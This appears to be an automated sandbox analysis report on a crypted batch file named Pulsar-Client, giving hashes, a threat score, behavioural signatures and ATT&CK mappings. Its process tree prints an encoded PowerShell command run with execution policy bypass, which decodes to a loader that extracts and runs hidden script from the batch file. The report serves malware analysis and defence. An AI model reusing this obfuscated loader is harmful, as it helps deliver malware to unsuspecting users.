bb7b8912c6689fad0b70bc8f94a42ed15774228d7f793ebcde210eb67a7bc885

Analysis

user interaction
yes
max time kernel
24s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/08/2026, 21:29

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General

Target
Pulsar-Client_crypted.bat
Size 1.3MB
Sample260815-1b2zsshg87
SHA256 bb7b8912c6689fad0b70bc8f94a42ed15774228d7f793ebcde210eb67a7bc885
MD5 a011a956744dce0d98190a4ce8427862
SHA1 6f02515a91ff7340c800df9f1e10782b5e5e0bdd
SHA512 31bab469d82c378504af78df3c1909fec1f3637401fcbcc49e234b2096361314ac4b62fc2d7eed7d4c1552a19a0725a9b8ba907c7b453feb0aad39972cfc3c45
SSDEEP 24576:R6LWry3u0cP23pMdJNBsf5reJH4NUe52EtaOKzFDTRUe:nGQ/NB1KW9N
TLSH
T12555127AC93AFE80036C779421763F5A01A55F13CB7552AEEF3008963918F91FF29629
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3356	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1892	powershell.exe
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 1892	3356	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Pulsar-Client_crypted.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -enc JABRAFQAQwBZAE0APQBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABMAGkAbgBlAHMAKAAkAGUAbgB2ADoAYwBmAHAAcgApADsAJAB1AEYAYQBLAHoANQBSAFMAdwA9ADAAOwAkAGMAawBpAEoANABVAEsANgBUAFQAPQAwADsAZgBvAHIAKAAkAFMAZwBhAEQAVwBSAGsAVABiADEAPQAwADsAJABTAGcAYQBEAFcAUgBrAFQAYgAxAC0AbAB0ACAAJABRAFQAQwBZAE0ALgBDAG8AdQBuAHQAOwAkAFMAZwBhAEQAVwBSAGsAVABiADEAKwArACkAewBpAGYAKAAkAFEAVABDAFkATQBbACQAUwBnAGEARABXAFIAawBUAGIAMQBdAC0AZQBxACcAOgBCAEQAMwAzAEQAQgBDACcAKQB7ACQAdQBGAGEASwB6ADUAUgBTAHcAPQAkAFMAZwBhAEQAVwBSAGsAVABiADEAKwAxAH0AZQBsAHMAZQBpAGYAKAAkAFEAVABDAFkATQBbACQAUwBnAGEARABXAFIAawBUAGIAMQBdAC0AZQBxACcAOgBFADQAOQAwAEIARgBDACcAKQB7ACQAYwBrAGkASgA0AFUASwA2AFQAVAA9ACQAUwBnAGEARABXAFIAawBUAGIAMQB9AH0AOwBpAGYAKAAkAGMAawBpAEoANABVAEsANgBUAFQAIAAtAGcAdAAgACQAdQBGAGEASwB6ADUAUgBTAHcAKQB7ACYAIAAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACQAUQBUAEMAWQBNAFsAJAB1AEYAYQBLAHoANQBSAFMAdwAuAC4AKAAkAGMAawBpAEoANABVAEsANgBUAFQALQAxACkAXQAgAC0AbgBvAHQAbQBhAHQAYwBoACAAJwBeADoAOgAnACkALQBqAG8AaQBuACcAJwApACkAKQApACkAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_kwzvjak3.acu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwzvjak3.acu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH